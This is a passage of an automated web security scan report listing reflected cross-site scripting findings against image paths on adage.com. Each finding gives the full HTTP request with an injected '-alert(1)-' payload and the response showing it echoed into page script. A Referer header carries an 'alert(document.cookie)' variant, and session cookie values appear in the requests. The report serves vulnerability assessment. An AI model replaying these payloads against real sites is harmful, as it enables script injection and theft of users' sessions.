hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1282248160";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images/bin/image/rightrail/adage-outlook-iphone02-rr.jpg8a8ad"-alert(1)-"21818080a72"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.cms,.js";
hbx.dft="y";
hbx.e
...[SNIP]...

1.9. http://adage.com/images/bin/image/rightrail/bestplacestowork-020911.jpg [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bin/image/rightrail/bestplacestowork-020911.jpg

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload de289"-alert(1)-"1193320a2d8 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /imagesde289"-alert(1)-"1193320a2d8/bin/image/rightrail/bestplacestowork-020911.jpg?1297286144 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:50:55 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=3071C74C5959F1FF357AB0E99619970AF0AE73ED; path=/
Set-Cookie: HMAC=B8EB014072FBAEC48A5BD37E45572CB5AD568B0A; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33869

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
pc="HBX0100u";hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1297286144";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/imagesde289"-alert(1)-"1193320a2d8/bin/image/rightrail/bestplacestowork-020911.jpg"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt
...[SNIP]...

1.10. http://adage.com/images/bin/image/rightrail/bestplacestowork-020911.jpg [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bin/image/rightrail/bestplacestowork-020911.jpg

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 44d6e"-alert(1)-"454020c2fdd was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/bin44d6e"-alert(1)-"454020c2fdd/image/rightrail/bestplacestowork-020911.jpg?1297286144 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:51:10 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=EF2EB99223DEF0B6D200E2C42F725290021F7271; path=/
Set-Cookie: HMAC=25BF2CFE8FFB5EC5FEC3F6BC9B911650D1701C5D; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33983

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
HBX0100u";hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1297286144";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images/bin44d6e"-alert(1)-"454020c2fdd/image/rightrail/bestplacestowork-020911.jpg"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="no
...[SNIP]...

1.11. http://adage.com/images/bin/image/rightrail/bestplacestowork-020911.jpg [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bin/image/rightrail/bestplacestowork-020911.jpg

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d6b24"-alert(1)-"b66030ed0a1 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/bin/imaged6b24"-alert(1)-"b66030ed0a1/rightrail/bestplacestowork-020911.jpg?1297286144 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:51:27 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=02BCB2A02AB1DC2FFF86CB8F1B0137ED88446967; path=/
Set-Cookie: HMAC=27254EAD56676C2EDFC4D7D48375564571ED01F7; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33983

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
0u";hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1297286144";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images/bin/imaged6b24"-alert(1)-"b66030ed0a1/rightrail/bestplacestowork-020911.jpg"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
h
...[SNIP]...

1.12. http://adage.com/images/bin/image/rightrail/bestplacestowork-020911.jpg [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bin/image/rightrail/bestplacestowork-020911.jpg

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cf6e2"-alert(1)-"bf08a9cf53c was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/bin/image/rightrailcf6e2"-alert(1)-"bf08a9cf53c/bestplacestowork-020911.jpg?1297286144 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:51:43 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=B4AEE8CC21E057B358138DF7E4A3F474618AB9BF; path=/
Set-Cookie: HMAC=74B41B3090AC52B98E39530BF65959EB8F42F298; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33983

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1297286144";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images/bin/image/rightrailcf6e2"-alert(1)-"bf08a9cf53c/bestplacestowork-020911.jpg"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.
...[SNIP]...

1.13. http://adage.com/images/bin/image/rightrail/bestplacestowork-020911.jpg [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bin/image/rightrail/bestplacestowork-020911.jpg

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8f400"-alert(1)-"03ce7f1022e was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/bin/image/rightrail/bestplacestowork-020911.jpg8f400"-alert(1)-"03ce7f1022e?1297286144 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:51:57 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=C228DFD0D08CFD748CABAD6C090F20307C4F4D57; path=/
Set-Cookie: HMAC=312FAAAA19688DA0F4BE37290F6D4AF0346A562E; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33983

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1297286144";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images/bin/image/rightrail/bestplacestowork-020911.jpg8f400"-alert(1)-"03ce7f1022e"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.cms,.js";
hbx.dft="y";
hbx.e
...[SNIP]...

1.14. http://adage.com/images/bin/image/rightrail/digitalalist-022811-rr.jpg [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bin/image/rightrail/digitalalist-022811-rr.jpg

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cc3ee"-alert(1)-"3a74751a638 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /imagescc3ee"-alert(1)-"3a74751a638/bin/image/rightrail/digitalalist-022811-rr.jpg?1298844621 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:50:57 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=FE8F40507EEED4A9714AA8D62CB55C045816A318; path=/
Set-Cookie: HMAC=335FA9859FB76CC4C3A51681BDC419AC8B59610F; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33868

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
pc="HBX0100u";hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1298844621";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/imagescc3ee"-alert(1)-"3a74751a638/bin/image/rightrail/digitalalist-022811-rr.jpg"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt=
...[SNIP]...

1.15. http://adage.com/images/bin/image/rightrail/digitalalist-022811-rr.jpg [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bin/image/rightrail/digitalalist-022811-rr.jpg

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3c8fe"-alert(1)-"e2ec04fd775 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/bin3c8fe"-alert(1)-"e2ec04fd775/image/rightrail/digitalalist-022811-rr.jpg?1298844621 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:51:11 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=22A84A3591125C76F723D45EFFF9F22B8BEB345B; path=/
Set-Cookie: HMAC=6D4F04AB8A6EF0AA59A238313C401A5796B69147; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33982

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
HBX0100u";hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1298844621";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images/bin3c8fe"-alert(1)-"e2ec04fd775/image/rightrail/digitalalist-022811-rr.jpg"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="non
...[SNIP]...

1.16. http://adage.com/images/bin/image/rightrail/digitalalist-022811-rr.jpg [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bin/image/rightrail/digitalalist-022811-rr.jpg

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fa713"-alert(1)-"0e06db22f0e was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/bin/imagefa713"-alert(1)-"0e06db22f0e/rightrail/digitalalist-022811-rr.jpg?1298844621 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:51:23 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=ECAE007D606CE94E0149C7366DA8275A68B4043A; path=/
Set-Cookie: HMAC=0986E2C075D04DD912BB0FC3CAB3A015F50EC1B6; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33982

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
0u";hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1298844621";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images/bin/imagefa713"-alert(1)-"0e06db22f0e/rightrail/digitalalist-022811-rr.jpg"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hb
...[SNIP]...

1.17. http://adage.com/images/bin/image/rightrail/digitalalist-022811-rr.jpg [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bin/image/rightrail/digitalalist-022811-rr.jpg

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ea881"-alert(1)-"26568405a8f was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/bin/image/rightrailea881"-alert(1)-"26568405a8f/digitalalist-022811-rr.jpg?1298844621 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:51:37 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=00B72CD1133EA539AB8325D97A5AB3A5737BC92B; path=/
Set-Cookie: HMAC=B0D26BEBD274AE44D027A3E10B8EC01BD6F69F09; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33982

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1298844621";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images/bin/image/rightrailea881"-alert(1)-"26568405a8f/digitalalist-022811-rr.jpg"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.c
...[SNIP]...

1.18. http://adage.com/images/bin/image/rightrail/digitalalist-022811-rr.jpg [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bin/image/rightrail/digitalalist-022811-rr.jpg

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 50aac"-alert(1)-"773802e971c was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/bin/image/rightrail/digitalalist-022811-rr.jpg50aac"-alert(1)-"773802e971c?1298844621 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:51:54 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=EAAABD00C79A65A5ADEAC4281D15CA2EE88BC389; path=/
Set-Cookie: HMAC=1D2558865065A827543BB011E1E4E2CE71ADB2ED; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33982

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
/CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1298844621";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images/bin/image/rightrail/digitalalist-022811-rr.jpg50aac"-alert(1)-"773802e971c"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.cms,.js";
hbx.dft="y";
hbx.e
...[SNIP]...

1.19. http://adage.com/images/bin/image/rightrail/mobile-mktg-wp-255-031411.jpg [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/bin/image/rightrail/mobile-mktg-wp-255-031411.jpg

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 728a9"-alert(1)-"3355d23634b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images728a9"-alert(1)-"3355d23634b/bin/image/rightrail/mobile-mktg-wp-255-031411.jpg?1300112440 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:50:59 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=E82931081CE2644F3D0670D1BC1C5DD6407297BA; path=/
Set-Cookie: HMAC=140FA06F006C9FE2B9F7163B681548A45CDE7419; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33871

<!DOCTYPE html>

